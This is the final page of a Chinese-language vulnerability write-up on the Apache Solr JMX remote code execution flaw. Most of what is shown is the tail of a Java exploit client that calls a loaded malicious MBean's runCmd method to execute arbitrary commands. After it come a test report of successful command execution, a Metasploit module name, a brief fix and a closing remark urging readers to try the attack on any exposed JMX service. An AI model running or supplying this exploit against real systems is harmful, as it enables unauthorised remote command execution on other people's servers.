Apache Solr 之JMX远程代码漏洞分析

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
                        new String[] {String.class.getName()}
                        );
                HashSet hashSet = (HashSet)res;
                Iterator iterator = hashSet.iterator();
                Object nextObject = iterator.next();
                if(nextObject instanceof Exception){
                    throw ((Exception)nextObject);
                }
                evil_bean = ((ObjectInstance)nextObject);
            }
            //调用恶意 MBean 中用于执行命令的函数
            System.out.println("Loaded class: " + evil_bean.getClassName() + "--- object: " + evil_bean.getObjectName());
            System.out.println("Calling runCommand with: " + command);
            Object result = mBeanServerConnection.invoke(evil_bean.getObjectName(), "runCmd", new Object[]{command}, new String[]{String.class.getName()});
            System.out.println("Result: " + result);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
 
Apache solr测试
使用jsonsole连接solr的18983端口,结果如下(如果连接失败,可能需要修改/etc/hosts下,主机名对应的ip地址,将其修改成实际ip地址)

使用上述代码测试攻击,成功实现任意命令执行

Metasploit也提供了jmx远程代码漏洞利用的模块exploit/multi/misc/java_jmx_server,有兴趣的可以自己试试。
 
修复方案
将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务即可。
 
总结
Jmx远程代码执行漏洞是一个通用型漏洞,不单单存在与apache solr中,只要有对外开放JMX服务的系统,我们都可以使用该漏洞进行尝试,说不定有意外的收获。
 

上一页  [1] [2] [3] [4]